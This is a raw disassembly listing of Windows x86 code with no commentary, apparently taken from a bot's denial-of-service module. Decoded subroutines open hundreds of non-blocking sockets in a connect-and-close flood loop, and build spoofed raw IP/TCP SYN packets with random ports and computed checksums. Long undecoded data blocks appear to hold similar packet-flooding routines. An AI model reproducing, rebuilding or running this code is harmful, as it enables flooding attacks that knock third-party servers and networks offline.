dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
dd 59FFFF7Ch, 0E8905759h, 22CC53Ch, 6AF44D8Dh, 0FF335104h
dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h
dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh
dd 0C5E89057h, 8D022CC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h
dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
dd 575959FFh, 2CC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h
dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h
dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h
dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh
dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h
dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
dd 0FF022CC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22CC1F0h
dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+542Do
dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh
dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh
dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
dd 0C132E890h, 0C33B022Ch, 408B0C74h, 8B008B0Ch, 0FC458900h
dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh
dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh
dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
dd 59FFFF77h, 0E8905359h, 22CC064h
dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h
; DATA XREF: sub_401ACD+5679o
dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 6FE89000h
dd 500227C8h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h
dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh
dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Ch
dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h
dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h
dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h
dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h
dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0CD65E890h
dd 754E0225h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h
dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h
dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh
dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
dd 575959FFh, 0BE4EE890h
db 2Ch, 2
word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o
dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h
dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h
dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh
dd 0B1E89056h, 5F022CBDh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414251 proc near ; CODE XREF: ___:0041433Ap
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB9D4
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41430F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_41429C: ; CODE XREF: sub_414251+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142A4: ; CODE XREF: sub_414251+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4142C7
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_4142C7: ; CODE XREF: sub_414251+64j
add esi, 4
dec ebx
jnz short loc_4142A4
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142D5: ; CODE XREF: sub_414251+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_4142D5
push 64h
nop
call near ptr 2670E97h
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142F9: ; CODE XREF: sub_414251+B4j
push dword ptr [esi]
call near ptr 71AB1A6Dh
nop
add esi, 4
dec ebx
jnz short loc_4142F9
dec [ebp+arg_4]
jnz short loc_41429C
pop edi
pop esi
pop ebx
loc_41430F: ; CODE XREF: sub_414251+3Ej
xor eax, eax
leave
retn
sub_414251 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov edi, eax
call sub_41C159
push dword ptr [esp+20h]
mov ebx, eax
call sub_41C159
mov esi, eax
push esi
push ebx
push edi
call sub_414251
add esp, 18h
test eax, eax
jnz short loc_414349
push 1
pop eax
loc_414349: ; CODE XREF: ___:00414344j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h
; DATA XREF: sub_401ACD+636Bo
dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
dd 0FFFF72EAh, 90565959h, 2CBC0BE8h
; ---------------------------------------------------------------------------
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F7 proc near ; CODE XREF: ___:004146E5p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944
test eax, eax
jz short loc_414437
xor eax, eax
jmp loc_4146A5
; ---------------------------------------------------------------------------
loc_414437: ; CODE XREF: sub_4143F7+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41469D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB9B4
cmp eax, 0FFFFFFFFh
jz loc_414693
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB9D4
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB9D4
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB9D4
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB9D4
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 27804FCh
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27802A0h
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414522: ; CODE XREF: sub_4143F7+25Dj
; sub_4143F7+26Bj
mov [ebp+var_24], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4
mov [ebp+var_34], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CBA38
cmp eax, 0FFFFFFFFh
jz short loc_414667
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 27802A0h
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414690
jl loc_414522
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414690
jmp loc_414522
; ---------------------------------------------------------------------------
loc_414667: ; CODE XREF: sub_4143F7+247j
call dword_4CB968
push eax
lea eax, [ebp+var_F4]
push offset dword_437AEC
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_414693
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_4143F7+25Bj
; sub_4143F7+269j
mov ebx, [ebp+arg_8]
loc_414693: ; CODE XREF: sub_4143F7+78j
; sub_4143F7+297j
push [ebp+var_C]
call dword_4CBA6C
pop esi
loc_41469D: ; CODE XREF: sub_4143F7+5Bj
call dword_4CB92C
mov eax, ebx
loc_4146A5: ; CODE XREF: sub_4143F7+3Bj
pop edi
pop ebx
leave
retn
sub_4143F7 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40A8F0
push dword ptr [esp+18h]
mov esi, eax
call sub_41C159
push dword ptr [esp+20h]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143F7
add esp, 1Ch
test eax, eax
jnz short loc_4146F4
push 1
pop eax
loc_4146F4: ; CODE XREF: ___:004146EFj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do
dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh
dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh
dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh
dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22CB85Ch, 8B555E5Fh
dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah
dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h
dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h
dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h
dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h
dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o
dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h
dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h
dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h
dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h
dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
dd 535959FFh, 0B576E890h, 4D8D022Ch, 51046ACCh, 5053026Ah
dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh
dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 90022CB4h, 0FDC4858Dh
dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh
dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
dd 0E8905359h, 22CB488h, 458D106Ah, 0E85053BCh, 73ECh
dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h
dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h
dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch
dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
dd 4CB9D4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h
dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h
dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
dd 7FCBE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh
dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h
dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h
dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h
dd 90022CB1h, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h
dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh
dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
dd 90535959h, 2CB0FBE8h
db 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp+0Ch], esi
jle short loc_414F31
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_414F23: ; CODE XREF: ___:00414F2Bj
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_414F23
pop edi
cmp eax, 1
loc_414F31: ; CODE XREF: ___:00414F17j
jnz short loc_414F3E
mov al, [edx]
mov [ebp+0Ch], al
movzx eax, word ptr [ebp+0Ch]
